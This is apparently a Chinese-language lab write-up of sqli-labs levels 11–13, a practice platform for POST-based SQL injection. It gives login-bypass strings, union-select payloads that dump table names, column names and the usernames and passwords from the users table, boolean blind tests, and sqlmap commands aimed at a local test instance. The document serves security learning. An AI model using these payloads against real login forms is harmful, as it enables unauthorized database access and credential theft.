从11题开始要新的篇章了,这里的注入方式改为了POST注入。
我们首先先应用前10题的一个解题思路来解决这道题,构建注入的语句。
用“”万能密码“来构造,
尝试登陆,发现能行
之后开始进行数据库的爆破:
Username:
' union select database(),6 --+
Password:
'
成功显示数据库的名字:
之后再按照前几题学会的爆破流程进行,可以看到所爆破出来的表名:
Username:
' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),6 --+
Password:
'
Username:
' union select (select group_concat(username) from security.users),6 --+
Password:
'
可以看到成功获取用户名和密码内容。
再通过这道题学会使用两个工具
首先利用hackbar看到这里对我们有用的有两个POST提交字段 uname和passwd.
登陆成功:
这里需要注意一点,对于两个参数同时构建函数,要注意and语句的优先级是高于or的,具体的可以看这篇文章,这里对登陆语句过程解释的很详细:
https://blog.csdn.net/u012763794/article/details/51361152(通过sqli-labs学习sql注入)
之后进行数据库的爆破:
(因为看到了上面那篇文章,所以我学会了尽量用后面这个字段来进行爆破)
uname=test &passwd=test' or length(database())=8 #
可以登录,获得数据库长度为8
获取数据表名:
uname=test &passwd=test' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),6 #
uname=test &passwd=test' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),6 #
uname=test &passwd=test' union select (select group_concat(username,0x7e,password) from users),6 #
但在这里我遇上了一个困难…
我用的火狐的浏览器,设置127.0.0.1的代理后怎么也抓不到同为127.0.0.1网址的sqli-labs平台的内容…
已经添加了证书,并且网站中没有不能抓本地包的限制…
希望各位大佬知道怎么解决的可以告诉我…
尝试注入的语句的形式,
发现尝试到双引号时,系统会有如下错误的提示信息:可以看到原语句应该有)什么的
uname=123 &passwd=aaa") or 1=1 #
我们构造一个万能语句,发现可以注入成功,但没有回显,说明这又是一个盲注
运用布尔型的盲注来判断:
首先判断数据库长度:
然后判断数据库名字:
uname=123 &passwd=aaa') or left((select database()),8)='security' #
可以看到注入成功,网页显示成功
…
剩下的翻看前面的几关吧
第十三关,我们运用SQLmap跑一下:
爆破库名:
C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data "uname=123&passwd=')or('1')" --dbs
–data:后面可以加上数据段(GET/POST均可)
–threads:最大并发线程,盲注时每个线程获取一个字符(注不要超过10)
或者两个字段均设置注入
C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data "uname=')or('1')=('1&passwd=')or('1')=('1" --dbs --threads 7
之后操作同前。